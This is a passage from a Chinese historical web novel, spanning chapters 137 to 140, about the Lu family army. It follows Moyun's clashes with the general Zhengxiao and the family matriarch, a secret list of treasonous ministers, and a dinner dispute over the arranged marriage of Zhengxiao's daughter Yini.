“对，那时候老爷子刚回家，孙儿们都怕了他，我有事出门，将正啸丢给老爷子看管，谁知道回来瞧见他们两坐在院里台阶上，两人聊得甚为开心。”老太君回忆着居然眼眶微润，“老爷子素来看重正啸，他临走之时，也只留下给正啸的遗言，啸儿，此行孤苦，不破不还。他们爷孙相处日子并不长，不知为啥，感情如此之深！”
“不知为啥？物以类聚人以群分呗！卢正啸不凶恶啊？”茉云没好气的放下酒碗说道，“那时候南境都将老元帅视为战神在世，可厉害了，幼时喜欢的捣乱小孩，人都吓唬说，等着卢帅来了，来收拾你，人立马就乖了！”
众人都望向茉云，老太君看着茉云，当年她的夫君誓不低头，力战峑戎，收回南境，威望何其之高。
“就我不信邪，还老跟老村长叫嚣说，让他来打我啊！”茉云想着气愤地指着自己手臂上，前几日偷喝酒时，被正啸打的两道还未消的红印骂道，“结果十几年后，他孙儿那真是打我没商量！”
“扑哧”众人顷刻又哄堂大笑。可是不知为何茉云心中却升起一份心虚，此行孤苦，不破不还，这八个大字忽然出现在自己眼前……
酒过三巡，菜肴渐凉，但桌上那份八宝鸭的香气依旧充斥着四周。执礼轻轻坐在一旁侍奉，给老太君和元帅倒着酒，卢家终年为朝廷驻守八方，很少有这种机会能一起谈笑风声，茉云就坐在这里，好像卢家人一样，跟老太太和元帅都像老友一样聊天，顷刻间，便让他们都忘了人世间的苦楚。
此时千山进入了八宝楼，瞧见老太太来了，他马上疾步上前，跪了下来行大礼。
“行了，起来，什么事？”
“将军说，众人都有伤在身，小酌几杯就够了。”千山小声的说道。
“知道了。”元帅没好气的望向千山。
“元帅。”
“我是他爹，他是我爹啊。”
茉云乐了开心的举起酒碗继续喝着酒，千山只好退了出去。
可没一会儿正啸便走进了酒馆，身形如此魁梧高大，而且那股威严的气势立刻吸引了在场所有人的目光……
138.深藏
正啸紧皱眉宇间透出显而易见的不悦，双目的狠狠地扫视着酒馆内的每一个角落。酒馆之人都能感受到那股不怒自威的气势，喧哗吵闹的大堂似乎都渐渐噤声，小二则下意识地后退了几步。
茉云亦不自觉的的把头往下沉了半分，不想他第一眼就瞧见自己，可显然收效甚微，他愤怒的目光已然锁定在自己身上。
正啸走到了桌旁，先伏低头像老太君行礼说道：“奶奶！”
“嗯！”
还未等依妮欣喜的起身行礼，正啸则手狠狠地敲打了一下桌子瞪向掌柜说：“这桌不要再上酒了。”
他的声音已经是低沉而克制，正强忍着不将怒气爆发出来。掌柜和小二仍然惊得退后一步，鸡啄米似的点着头。
“没事，咱还有。”茉云则一副油盐不进的姿态，开心的指着桌上酒坛看向元帅说。
正啸抬手拿起酒坛，沉重的酒坛在他手中却如同无物，他瞬间将酒坛高高举过头顶就往嘴中倒，顷刻将坛中之酒全喝了。连元帅愣在那儿，神情中都是无奈和震惊。
“诶。”茉云火了指着正啸，“那是我买的……”
“我爹和哥都有伤在身，我奶奶一把年纪舟车劳顿刚来此，都不是来陪你喝大酒的。”
“你……”茉云不服气的马上去抢自己的酒壶，里面还仅存着一点余酒。
正啸抬手就拿了，茉云来抢几招没抢到，正啸直接将那酒壶砸地上砸得粉碎，低吼道：“千山，赔钱给店家。”
“是。”
“告诉掌柜，三十日之内，谁敢卖酒给她，店就砸了他的，我赔钱给他，让他去别处开店。”正啸不容分说的说道，顿时掌柜吓得只得傻傻点着头应和着。
“卢正啸，你！”茉云愤然指向正啸，元帅和老太太都挑眉看着，执礼忍着笑。
“扶老太君和元帅回去。”正啸则没好气转身说道。
直到此时，依妮开心的上前给正啸行礼，甜美的唤了一声“爹！”
正啸的眼神才顷刻间柔和半分，看向身穿素雅的绣锦长衫的依妮，白衣上点缀着几缕淡淡的粉色绣花，简约而不失精致。那个活泼伶俐的小女孩好像瞬间出落成少女的模样，虽然脸庞依旧稚嫩，但是清秀的五官中透着一股与她年龄不符的沉稳与英气。
“嗯，扶老太君跟爹回去。”正啸看向依妮温和的说道。
“是！”
老太君和元帅旋即起身，茉云则依旧一脸的气愤的倔强，正啸抬手就拎起她走出酒馆，震北吃惊的看着，执礼千山他们却都习以为常忍着笑。走出酒馆，正啸将她对马车旁一扔，她差点摔到地上。
茉云忿然抬头便怼到：“卢正啸，你奶奶和爹都不喜欢你，喜欢震北将军是有原因的。”
“诶，你别乱说啊。”震北立刻反驳道。
“别挑拨他们兄弟关系，奶奶这儿都一样。”老太君准备上马车，亦马上回应道，而正啸则压根懒得搭理她。
元帅则站在马旁吹着胡须感叹道：“说得没错，我就喜欢震北。”
老太君顿时转过头就没好气的瞪向元帅。
元帅则露出一丝似笑非笑的笑意说：“娘，最主要是这儿子没什么用，十二岁之时，军中之人皆跟我说，这小子就能百步穿杨，结果这么大了，别说羊了，那么大个人在面前大摇大摆的骑马走了，他射不中，娘你就说，他有什么用。”
“也是，一代不如一代。”奶奶亦边上马车，边望向正啸，眼中含着不置可否的笑意。
正啸一脸无语躲开了奶奶的眼神，执礼和千山他们都伏低头忍俊不禁，都知道他们在调侃正啸，当日茉云就在他眼前，如此张狂的骑马驰骋而过，正啸拔箭却射空。
茉云则似乎毫无察觉老太君和元帅的调侃，一脸的幸灾乐祸指着元帅的肩胛骨说道：“就是，看咱这箭法就名不虚传，指哪射哪儿。”
“我谢谢你啊！”老太君上了马车，还伸出头冲茉云没好气的吼道。
众人皆哄堂大笑，元帅也笑着摇摇头无奈的长叹了一口气。依妮亦被逗得喜笑颜开，万莫将身形较小之马牵到了她面前，她抬目看向马儿伸出了手，可是余光看见老太君的眼神，她立即伏低头转身上了马车，静静的坐在老太君身旁。
茉云将一切看在眼里却未多言语，自己身子虚弱亦上了马车，摇曳的马车让她昏昏入睡，闭上眼之前，她瞧见依妮微微抬头，从车窗看向他父亲正啸的背影，她那稚嫩中又透着几分坚毅的神情中，含着对父亲着深深的崇拜与敬意。
老太君深吸一口气抬起手拍拍依妮的手，依妮又露出了那端庄而超乎年龄的沉稳笑容，眼神仿佛在说，她知道自己也要为家族的荣耀与使命贡献一份力量。茉云则眼中轻轻透过一丝寒光，轻轻闭上了眼睛。
马车进了军营，老太君从马车上下来，依妮在旁仔细的搀扶着，诸将都规矩的列成两队，齐齐给老太君行礼。
“行了，都去忙自己军务！”老太君抬手示意让他们各自去忙自己的，不需这么多礼数。
“是！”
茉云回到自己营帐躺了下来又昏睡了一觉，醒来时，白显正端着药走进来。
“把你逮回来了吧？酒醒了，喝药！”
茉云没好气的看像白显手中的那碗浓稠的苦药，满脸都是不情愿。
“白叔爷，我姑好像不太乐意喝。”小腾坐在一旁耸耸肩说。
“那有劳你去请一下将军吧。”
“你们哪个眼睛看见我不喝了。”茉云冲着小腾吼道，伸手便端过那药一饮而下，双眉苦得紧皱成一团。
白显和小腾瞬间都被逗乐了，白显接过空空的药碗，坐下给茉云探了一下脉，望向小腾：“你姑姑无碍，依妮姐不是来了军营吗？你可去找她玩会儿？”
“我见着了，我本还求得让威行叔叔忙完，带我们去骑马，可是依妮姐姐居然不想骑马，她说她要侍奉老太君，老太君身体不适吗？依妮姐居然不喜欢骑马了？”
茉云看向小腾便支撑的起身了，虚弱的往外走，眼中透出一丝不屑的寒光：“那老妖怪，这洗脑功夫的还当真厉害……”
而
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此时在元帅的营帐，元帅正双手取过了老卢帅的剑，微微俯身，将剑恭敬的呈上，敬重而有力的说道：“娘，啸儿亲手给父帅报了血仇，他们还从敌军手中，夺回了父帅的剑！”
老太君的目光定定地落在那把剑上，愣了半晌，仿佛时光倒转，眼前那个意气风发的男人正提着这把剑驰骋在沙场。他的声音仿佛也还在耳边回荡，那个征战半生、守护家国的男人回到家，站在大槐树下叫她的名字。
她双手微微颤抖地伸向那把承载着他丈夫灵魂与使命的战剑，指尖触碰到冰冷的剑鞘之时，仿佛也触及到了她逝去的岁月与丈夫，一瞬间，泪水夺眶而出。
“好！好！”她那含着笑容又盈满泪水的眼中，充满了复杂的情感，既有对丈夫的深深怀念，又为正啸他们能够夺回此剑感到骄傲。
军中的将领谁不是自幼便敬仰老卢帅的英雄豪迈。众人看向老太君，心中无不是满满的敬畏与感动。
老太君的泪水无声地滑落过两颊，她坚毅的抬起头看向正啸：“啸儿，你可还记得你爷爷的一生之愿和他对你的临终嘱托！”
“我绝不敢忘，必会誓死守护家国，驱逐峑戎，不破不归！”
“好！”老太君眼神中重新恢复了那股子坚毅与威严，哪怕泪水未干，她的神情中已见不到一丝脆弱，她将战剑缓缓放回正啸手中：“带着你爷爷的剑上战场，保家卫国。让你爷爷见到，终有一日，你爹和你能带领众将士完成他平定南境的夙愿。”
“是！”正啸伸手握紧了他爷爷的剑，没有半分的迟疑。
这一刻，营帐内肃穆而澎湃，卢家祖孙的对于家国信念的传承，激荡着在场每一位将士的心，卢帅那忠君爱国，为南境万民征得一片安宁，坚韧不拔的信念，由这把战剑得到了永恒的延续。
而此刻茉云站在营帐外，看向正啸那染着硝烟和风霜的背影，可任凭风吹雨打，什么都无法掩盖他那周身散发出的坚定而威猛的气势，让她瞬间感受到怦然心动。
可她霎那间亦毫不迟疑的转身了，因为在那把古朴的长剑之上，斑驳的痕迹诉说着无数的忠义、使命、杀伐和荣光，唯独没有情意……
她抬头望向夜幕渐渐降临的天空和远处村庄袅袅升起的炊烟，心中霎那间释然，自己是南境人，自幼便听见无数见证过的老人诉说，她深知铁骑踏破的残酷，这些年朝堂的沉浮，自己也渐渐明白何为家国大义的无情。
南境万民的使命，没有哪一刻与卢家军是不同的，都是为了守护家国，护卫疆土，为子子孙孙谋一个安定的未来。爹当年为这个理想澎湃过，也为这个理想付诸一生，而自己是他的女儿！
所有的情感在大义面前，只不过是累赘。
当她踏进自己的营帐，身后的天空已经完全暗了下来。她缓缓坐下靠着长枕，闭上眼脑海中回荡起正啸那结实的胸膛传来的温暖和安稳，可当她再睁开眼之时，心中再无波澜，唯有冷静与坚定，抬目望向营帐外的天空。
原来青岚曾经说的，但求圆满皆是执念，月儿本该藏在云里……
139.苦心
清晨的薄雾笼罩着南营，远处的山峦在晨曦的光芒中隐隐约约，连绵起伏，如墨染画卷一般。
营中传来的号角声预示着新的一日训练开始，将领军官的喊声让每一名士兵都严阵以待的开始了晨练，全营将士军心激昂的迎接着即将到来的大战。
茉云缓缓睁开眼眸，映入眼帘的居然是老太君那张威严而端庄的脸，如此柔美的晨光似乎也丝毫没有让她温和半分，她稳住心神后，顷刻就被逗笑了：“老太君，您可知别人都用慈祥来形容老太太！”
守在旁边的依妮瞬间伏低头忍着笑，她亦能听出茉云话中的挖苦。
“是慈还是祥能撑得起卢家？”
茉云挺身起来盘腿而坐，眼睛还没有完全能睁开之时望向老太君说：“大清早，您啥事啊！”
老太君从自己的手腕上取出一个玉镯放在茉云床上，略显迟疑的将玉镯推向了茉云。
茉云打着哈欠，拿起玉镯朝光线看了看，顿时眼中闪出了光芒说道：“这是个值钱玩意啊！”
“嗯！”
“大清早怎么可能有这种天上掉馅饼的好事！说说条件！”
“不是条件，是报酬！你将我夫君的剑寻回，这个玉镯先放你这儿，这个人情卢家必还你，你若想好可持这玉镯，要求卢家做一件，不叛国不违背道义之事，什么事都可以！”
“没必要！”
“我，言出必行！”老太君缓缓起身转身坚定地说道，“玉镯你收好，别有闪失，不然我定不饶你！”
茉云看向那玉镯，质地细腻如凝脂，透出一股古朴的雅致，表面光滑圆融泛着柔和的光泽，一看就是日日佩戴之物，她挑眉看向依妮，依妮转身的瞬间，用口型告诉茉云，这是太爷爷送给太奶奶的，千万别当了！
她顷刻被逗笑了，这孩子到底是了解她的，可是看向老太君全身上下如此质朴而简洁，她这般不舍，却依旧取下给她，许这就是她全身上下唯一能拿得出值钱信物……
晌午茉云去伙营用完午膳，回营帐之时，听人来报说若辰他们到了。待她走到自己营帐时，就瞧见了营帐门口，身着雪白锦袍，袍上绣着浅淡云纹花样，腰间系着一条淡青玉带的关若晨，依旧是面容清秀温润，眉目如画。
只是身边除了何友外，还多了一位眉清目秀，身着轻柔浅蓝纱衣，领口绣着淡雅梅花，周身透着端庄和贤淑、低调却不失贵气的女子。两人站在一起，仿若画中之人般和煦美好，每一处细节都彰显着内敛的高雅。
茉云顷刻抱拳一脸正经的说道：“许久不见，两位关大人依旧是温润如玉，如清风朗月！”
若辰顷刻就被她都笑了，她依旧是这般嘴脸，有所得罪之后，必然是将人一番夸赞。
“茉云，这位是我兄嫂，兄嫂，这位是方茉云。”何友开心的介绍道。
季岚看见了茉云，表情端庄而温婉大方的微微行礼了。
茉云亦笑了行礼说道：“见过关夫人！”
“关叔叔，关二叔，季岚婶婶。”依妮开心的走来亦行了大礼说道。
“依妮。”季岚看向依妮唇边才挂上了浅浅的笑意，“快带婶婶去拜见一下老夫人。”
“好，您随我来。”
“你们怎么此时来了。”茉云寻常的走来望向若辰他们说道。
“京城现在一片混沌，我不宜掺和，正好又有婚期，来看看你们。”
“您干了这么一大票回来了，我们兄弟能在京城坐得住？”何友笑着说道
季岚转头看向若辰，他已经许久不见的笑颜，如春日暖阳般，却在茉云面前轻易展了，而茉云不知又说了什么，若辰居然被逗得大笑，完全不想平日里的典雅持重。她轻轻的吸了口气，眼中透出一丝黯然。
下午时分，若辰入了元帅的营帐议事，老太君带着季岚来了，季岚见他们再议朝堂之事，连忙起身要告退。
“没事，坐这儿，不插嘴便是！”老太君望向季岚说道。
“是！”季岚抬目望了过去，她亦知道老太君的良苦用心，让自己能多了解若辰，亦了解若辰的心。
何友此时正在跟元帅和正啸禀报：“我们出京之时，丞相刚入京城，幸亏爹让我们赶紧请旨回南境。”
若辰轻轻放下手中的粗瓷茶杯说“朝堂怕是又有一场腥风血雨。”
元帅则一脸坚毅的看向众人：“铲除朝中奸佞，再大的风雨也值得。”
“只是不知道是谁？”何友亦是有些按耐不住的看向执礼。
“您觉得她会告诉我？她在暗营翻天覆地之事，都是她侄儿小腾告诉我们的！”执礼看向何友微笑着回应道。
“ 不知也好，我等专注南境之事即可！”若辰淡然的说道。
“若辰说得对！”元帅那满脸沧桑的面庞上，透出了坚定的神情，“无论朝中如何沉浮诡诈，卢家军只管保家卫国。”
而此时万莫走了进来，挠着头把一个木盒呈给了正啸。
“什么？”
“少主，镖局之人交给我的，说让我亲手交给将军你。”万莫满脸疑惑的说道“还带了句话，自己想办法。”
正啸拿起了那钉死了的木盒，做工如此粗糙而没有章法。
“少主，是否有诈。”执礼刚要拦着，正啸抬手已经劈开了木盒，里面只有一张油纸包裹的纸，纸上写着朝中诸多大臣的名字。而那乱七八糟的字便是自己最熟悉的字迹，正啸把信放在案上。
“这是……”众人都围在了案前。
“这应该就是朝中私通峑戎的大臣名单！”执礼看向纸认出了自己，瞬间亦明白了此信的含义，可他顷刻和众人一样都愣住了，“吏部尚书……”
“密营这些年浸染朝廷之深啊，连吏部尚书……”良久沉默后，元帅感叹的说道，那如此说来他吏部每年拔擢的官员又有多少值得信赖之人，这真是骇人听闻。
“除了吏部尚书通番卖国……元帅，还有这些人都藏得好深啊，如此来看，诸多冤案也是他们下的一盘大棋中的一局，上下其手，意在动摇您的元帅统军之位。”执礼指着锁紧双眉说道，“也难怪兵部也时有掣肘。”
“你还在说什么，只要保家卫国，这朝堂都快被他们端了！”老太君拄着拐杖忿然说道。
元帅长叹一口气，难怪当日丞相的神情如此凝重。
“果然都是朝中打着所谓仁德的名号，极力劝和之人……”何友愤然说道，“其实都是卖国之贼，无耻至极！”
“啸儿，这信是……”元帅指着信望向正啸说道，正啸微微蹙眉却没有说话。
“这是茉云的字迹！”若辰深吸一口气说道，“她应该是知道自己，也并非有十全的把握，全身而退，若此行不成，只能将这些官员告知于正啸，让我们至少能小心防范。”
执礼亦感叹的点点头，这便是她待正啸的拳拳苦心，她用镖局送信，让万莫接信，都未让震北带回，是因为她知道这封信之重要，朝中的暗敌比峑戎的毒药更可怕，哪怕是震北没能突围回来，这封信也必须回来。
此时震北看着信不解的忽然问道：“最后这位这骆大人是谁？”
“哼。”正啸双眉紧皱的凝重瞬间又化成了无语的忿然。
“这骆大人一看就是后面加的，是茉云的仇人，虽是畏惧于上官丁勇，当年也算有渎职之失，致他父亲殉职。”谢青笑着摇头说道，何友他们看着却顷刻就乐了。
“他就这么明目张胆的诬陷人家。”震北吃惊的指着说，“这可是通敌的大罪！”
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“诬陷算什么，茉云一直嚷嚷的少主打她，劈了她剑，就是上次骆大人荣休从中州过，她提剑就去了驿站，少主把她抓了回来，她还要去，少主只得出剑拦她，她第二日一早就找宋大人告状说少主打她，还累得少主赔了元帅夫人的剑，方茉云什么干不出啊？”执礼笑着像震北和众人解释道。
“扑哧”元帅亦笑得眼睛都成了一条线，不管什么抄家灭门的大罪，什么鬼蜮狡诈之伎俩，到了茉云这儿都让人觉得是荒唐好笑。
“既然丞相将证据带回了京城，便将此封信烧了，我等亦从未见过这封信！”老太君长叹一口气后，深谋远虑且从容的说。
“是！”众人亦明白了老太君的深意，执礼按照老太君的意思，将烛台点燃，将此信燃尽。
季岚远远的看着不免心中感叹，自幼在父亲身边就知道朝局的暗藏汹涌和尔虞我诈，像自己夫君这样的谦谦君子，难怪他甚厌恶之。若不是要与挚友并肩同行，他此生也许更愿意做一个吟诗作画，游历山水的闲人。
众人坐回自己坐席之后，若辰温和的望向正啸：“厄戎自裁了？幽戎跑了？”
“嗯。”正啸微微点了一下头，日后峑戎便是幽戎大展拳脚的天下了。
“厄戎手上不知道有多少忠臣的血。”震北咬牙愤慨的说，“让他自裁都是便宜他了。”
“正啸让其自裁是对的，厄戎虽与我等有血仇，但是他也算是峑戎的人物了，对峑戎尽忠他亦是矢志不渝。”元帅从容而豁达的说，“震北，我等绝不怜悯敌人，但是天下有气节之人，也配得起这份尊重。”
“是。”震北才吸了口气点点头，而老太君则眼中透出一丝狠戾，厄戎手中有他夫君的剑，大抵就是杀老卢帅的仇人，对这样的人，作为一个女人，她不需要尊重。
若辰思量着的深吸一口气说:“厄戎在死之前，有没有说什么。”
正啸素来沉默少语，可是他此时有双眉紧皱，执礼他们都看向千山，当时他就在正啸身旁，元帅亦看向了千山。
“厄戎自裁前让我们跟方茉云说……”千山看向元帅恭敬地说，却欲言又止。
老太君不容分说的继续问道：“说什么？”
“跟她说等地狱见了！”
“你跟茉云说了吗？”
千山恭敬的回禀老太君说：“方茉云亦问我了，我告诉她了！”
老太君抬起了那双锋利的眼睛望向千山：“茉云听了后，说什么！”
“她笑了，仰头向天说了句，好！”
老太君顷刻间嘴角上扬点点头，这丫头便是这种粉身碎骨，刀山火海，深渊地狱全然不怕之人。
正啸蹙眉握紧了手中的茶杯，心中不知为何如钝刀子割了一道般，而若辰亦眼中闪过一丝怅然，看向那木盒。
“那孩子是忠肝义胆之辈。”元帅感叹的评价道。
“只是甚为绝情。”若辰长叹一口气，拿起盒子嘴角上扬看向正啸说，“她都以为自己要走了，也不给留个只字片言，比方说来生再见什么的？”
正啸无语的瞪向若辰，若辰则一脸调侃的笑意。
“哥，您要是问茉云，她会回您，我都不知道上辈子做了什么孽，还下辈子？”何友想着乐了说道。
众人都哄堂大笑，季岚则静坐在老太君身旁，深吸一口气，那个看似寻常甚至有几分粗俗的女子，在他们心中份量居然如此之重，她是有如何的能耐？
而静静站在老太君另一旁的依妮，听到茉云的名字便情不自禁的笑了，眼中都是钦佩，好像命运每次将她抛入深渊，都只是为了给她一个绝地反击的开端，只可叹自己不及她一分，能帮到自己父亲，可哪怕自己化成萤火之光也好，只要能照亮父亲前行的路……
140.摆布
众人讨论完朝局和战事，元帅起身说让若辰他们今日就留在营中陪自己和老太君用晚膳，若辰自当是欣然从命。
“去叫了茉云那丫头和他侄儿小腾来一起吃！”元帅看着一桌的菜旋即望向万莫说道。
万莫点点头便马上跑出了营帐。季岚不经意的望向老太君，她也没有反对，众人都坐下之时，老太君抬手让季岚坐在自己的身边，以示对她的重视。
“是。”季岚马上行礼说，起身之时眼中还是有一丝忐忑，毕竟老太君的名声自己是有所耳闻，唯恐自己礼数不周。
若辰则温和的看着季岚，眼里都是安抚说道：“去吧。”
老太君亦看出可季岚的小心翼翼说：“奶奶是将门出生，不讲那些虚礼。”
“谢老太君！”季岚温婉的笑了坐到了老太君的身旁，自当是将她视作自己长辈的一样孝敬有礼。
茉云带着小腾走入了营帐，看见满桌的美食，顿时开心的坐了下来，一脸正经的教育小腾道：“他们都是大户人家出身，咱要懂礼节。”
“哦。”小腾看向茉云有些拘谨的点点头。
“你也坐我这边来。”老太太望向茉云，指着自己另外一旁的座位说，依妮马上起身给茉云让座。
“老太君，我坐这儿就行。”
老太太望向茉云说：“怎得请你吃喝，我安排个座次你还有意见？”
“我就坐这个鸭旁边，我哪儿都不去！”茉云顺势坐下眼神直勾勾的望向那炖的一锅大鸭！
众人顿时哄堂大笑，这便是茉云的德性。
“罢了，你让她坐那儿。”老太君亦笑着大手一挥说，然后拍拍季岚的手说，“见否，这等不知礼数之人，老太婆我都能容，你啊，无需紧张！”
季岚温婉的笑了，可是任谁都能看清，这一桌的人不是能容茉云，是皆看重于她。
晚膳间，若辰跟元帅和正啸他们依旧是聊着现在朝中之事。
“你们此时不在京也好。”元帅长叹一口气道“人啊，难两全。难为你爹了。”
“爹和哥哥也这么认为，我们关家万事以国事为重。”何友恭敬的回复道。
元帅看向若辰欣慰的点点头，他应该是往日的嫌隙也和父亲和解了些许。
若辰虽然没有说什么，表情却很温和，自从季岚进门做了很多，自己当时心情恶劣至极，她的无微不至和父亲体谅关怀让自己至少能站起来去面对困境。
“关家媳妇也不好当吧。”老太君则看向季岚说道，“习惯就好，关老太太也就倚老卖老，关大人讲理，他们家人都脾气好。”
季岚温婉的笑着回应，余光却看见桌的两旁都在各自聊着各自的事，只有茉云在埋头专心的吃着饭，还吃得一副饿狼扑食之状，别说仪态，就连礼数都未顾及半分，可是全桌人都似乎习以为常。
若辰此时则看向一脸依旧严肃的正啸调侃说道：“也算是攻破了暗营，为你爷爷报了血仇，你怎得还是一脸肃然的愁！”
“正啸哥何时都不是嬉笑之人！”何友则笑了望向若辰说道，他本欲举杯敬正啸。
可是正啸一脸严峻的望向若辰问道：“我问你件事，京中传闻，圣上有意赐婚卢依妮，可有此事？”
若辰愣了半晌望向正啸，看样子他是听闻此事了：“有！”
“为何不告知我！”正啸顿时言辞皆有些厉色。
“正啸哥，若不是哥极力劝阻圣上待你回京再定，圣上的旨意怕是都已经下了！”何友马上跟若辰解释道，而此时季岚望向正啸，眼中却闪过一丝愠色，要知道若辰为正啸付出何其多，怎得换得卢正啸如此的态度对他。
“那京中传闻又是谁告知于你的，大将军！”老太君的脸色顷刻间冰冷，惊得桌上众人除了茉云皆放下碗筷，不敢言语。
“奶奶，依妮还小，论婚姻之事还早！”
“京城指腹为婚的都比比皆是！”
正啸双眉紧蹙，斩钉截铁的说：“奶奶，我不同意卢依妮嫁宁国公府！”
茉云倒是放下了碗筷望向正啸，嘴角微微上扬，眼中闪过一丝笑意。
“卢家事务皆由我操持，你帮你父帅管好边关军务分内之事就行！”老太君虽然语调半分没有愠怒，可那骇人的气场扑面而来，季岚坐在其身旁，顿时连呼吸都变得谨慎了起来。
“可我是她的父亲，她自幼我就待她有亏，婚姻大事，我绝不会同意依妮嫁宁国公府！”
“宁国公府世家显贵，门风高节，哪一点配不上你的女儿？”
正啸毫不畏惧老太君威严的据理力争：“她从小性子活泼，高门显贵的大户并不适合她！”
卢依妮轻轻咬着下唇，眼眶微红，看见父亲这般为自己跟老太君相争，心中甚是温暖。
“那你自小就愿意征战沙场，半生屠戮吗？我愿意半生守寡，挺着这把老骨头撑着卢家，然后眼睁睁送至亲去战场……”
“无论如何，我绝不同意卢依妮嫁宁国公府！”正啸直接咬牙打断了奶奶的话，他知道如果此刻再不据理力争，那此生便是亏欠依妮太多了。
“娘，依我之见……”元帅也长叹一口气想要从中转圜道。
“当年若不是依你之见，我不会白发人送黑发人，眼睁睁看着儿媳妇有去无回！”老太君虽正襟而坐，语气平缓，但眼神中迸射出泰山压顶的气势，让众人似乎连头发丝都不敢擅动。
元帅则咬紧了牙关，这便是他此生最无法面对之痛。
“此事不容再议！”老太君亦咬牙不容置疑的说道，声音低沉而从容，却让周遭鸦雀无声，季岚不禁望向老太君，这便是名震京城的一品诰命夫人卢老太君的气魄。
正啸忿然欲起身，依妮却率先起身行礼含泪说道：“启禀爷爷和爹，依妮想嫁宁国公府！宁国公府高门显贵是京城中女子莫不期盼的夫家，与我卢家亦是门当户对，那宁国公的嫡孙知书达理，为人谦逊，我觉得他会是极好的人选！”
正啸顿时眼中露出了诧异，他从未想过依妮会如此说。老太君则眼中露出满意神情的瞥了依妮一眼，然后依旧气势骇人不容置疑的望向正啸，卢家家事从来无人可以反驳自己的决定。可她没有瞧见从桌边角落已经透出了一丝狠戾的目光。
元帅深吸一口气看向依妮说道：“当真是你愿意嫁宁国公府！”
“是的，爷爷！孙女愿意嫁宁国公府！”依妮眼含泪水却露出了大气端庄的笑容，“还望爷爷和爹爹成全，同意此桩婚约！”
正啸双眉紧蹙，可是此时自己还能说什么呢。
季岚则深吸一口气看向若辰，面对众人的诧异和沉默，也许这一桌中只有她能明白依妮为何说愿意，因为她曾经也是京中大员的嫡长女，所幸父母垂怜没有让她受尽委屈，依妮根本不可能是小小年纪便属意宁国公府，她只是明白了无法抗争，明白了自己这一世便是为报父母恩情，为家族利益妥协的一生。
“那若我不同意呢？”众人惊愕的望向桌边角落处穿来的声音，语气平淡却厚重，瞬间打破了帐内的沉默。
若辰则嘴角微扬，他又从茉云的眼中看见了锐不可当的光芒。
“卢家还未轮到……”老太君话还没说完，顿时怒目圆瞪的忿然瞪向茉云，众人也从惊讶瞬间变成了错愕，只因茉云手中举起一物。
茉云眼露冷厉，嘴角却微微上扬笑了，手中随意举起的是老太君给她的那枚，应允她一事的卢家传家手镯。卢家人任谁都能认出，那是老太君视之如命之物。
“方茉云，你！”执礼吃惊的指着那手镯说道，“你不可造次！”
“这是你家老太君亲自给我的！说是寻回你家老元帅的剑，以此物作为信物，允我一事，怎得说话算话吗？”
众人都望向茉云，元帅亦深深吸了口气，老太君其中深意不言而喻，那可是卢家传家的玉镯，当年老太君都未将此玉镯传给正啸的娘，而茉云却如此儿戏……
老太君的眼神顷刻冷静如冰，锐利如刀的扫向茉云，平日待她柔和的笑意消失无踪，此刻只剩下微微上扬嘴角带出了一丝冷笑，既是轻蔑，也是警告，她居然如此不识抬举。
“如若不信守承诺，我是否该毁了此玉！”
“你好大的胆子！”老太君虽未高声怒斥，但压迫感如雷霆万钧扑面而来。她慢慢站起却带着无可置疑的权威。她亦不需要大声斥责，仅仅是站在那里，便让整个屋子充满了窒息的威慑。
正啸皱眉要起身却被若辰一把拉住手腕，按回了座位。
“我的要求便是让卢依妮自己再选择一次！”茉云望向老太君丝毫不畏惧，神情风轻云淡的说。
老太君愣松了半刻望向茉云，然后冷冷的看向卢依妮，卢依妮显然眼神中透出了一丝惊慌失措。
“卢依妮，那你便再告知她一次你的打算！”
依妮眼眶红润却恢复了平静，眼神深处却隐藏着难以言喻的挣扎与不甘，可她最终站起来说：“茉云姨……”
“卢依妮，我也算曾教授你几日武功，一日为师终身为父，故而待我把话说完，你再做选择！”
依妮深吸一口气望向茉云，长辈们的期望、家族的责任，像无形的枷锁压着她，她此时哪还有什么抉择？
“你可知京城那些千金小姐看似嫁入高门显贵，珠光宝气，实则一生受尽摆布！那些被狗链栓着狗都比她们过得好！那宁国公府……曾经有个传宗接代的小妾，不过是为了让她在吉时生产，结果让其拖着不生，结果所谓吉时便是她的盖棺之时！”
“那不过是无妄的流言，岂
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可轻信！”老太君反驳道。
“我在御史台呆过，我不知道什么是流言什么是真相吗？”茉云冷冷望向老太君怼道，“您其实也定然知道！”
依妮不想再看见茉云和太奶奶争吵，她深知太奶奶为她定下的这一切皆为卢家军朝堂局势，她也愿意为此付出一切：“茉云姨， 我……”
“卢依妮，难道什么家族的大业，国家的安定，会压在你一个小女孩一场联姻之上，荒谬！你抬头看看你爹和你爷爷，他们绝不可能希望你如此！”
依妮愣了半刻看向正啸，正啸眉头紧锁，眼中翻涌着怒意与无奈。他身披战甲半生，可以抵御关外最凶狠的敌人，抵挡这天下的风雨，难道却不能保护自己唯一的女儿免受这场政治联姻的束缚。
老太君终于忍无可忍的忿然的怒斥吼道：“卢依妮是卢家嫡女，为了卢家的使命，殚精竭虑，付诸一切，这就是卢家人的命。”
“你可以这么要求你自己，那是你当年选择嫁入卢家，你也可以这么要求卢正啸，因为当年他答应了他爷爷担起这份重担，但不可以这么要求卢依妮！”茉云坐着仰面淡然看向老太君。
“她难道不是卢家血脉？而且她的未来联姻是宁国公长子嫡孙的正室！哪一点委屈她了？”
“她的娘是当年卢家帅府长子嫡孙的正室，她受过委屈吗？”茉云冷然笑了望向卢老太君说道，“卢依妮欠的血脉之债，应该在她母亲费劲心力生下她的那一刻便还了！她走的时候，只有您在，您难道都没有承诺过要善待她的女儿，怎得您连死人都骗啊？”
老太君顿时倒吸一口气咬牙望向茉云，季岚不禁望向茉云，她那风轻云淡的笑脸下，说出的话字字如刀。
“卢依妮，听闻你的母亲仰慕你的父亲一世，哪怕嫁入帅府只是一位用来传宗接代的夫人，受尽冷落甚至被唐百欣那丫鬟欺负羞辱，全府上下只在意家族荣光，门第高洁，没有人在意过她。她都未听你叫过一声娘，仍然拼尽最后一口气将你带到人世，就是为了让你重复她悲剧的一生吗？”
依妮的泪水顿时划过双颊，她的拳头不由自主地攥紧，眼中都是痛苦与悲凉。
她望向正啸，两人的对视充满了复杂的父女之情，茉云的话亦如刀子一般在他心上镌刻，正啸知道他此生最对不起就是他们娘女，而对于依妮而言，她自幼变没了母亲，她的父亲便是她的信仰。
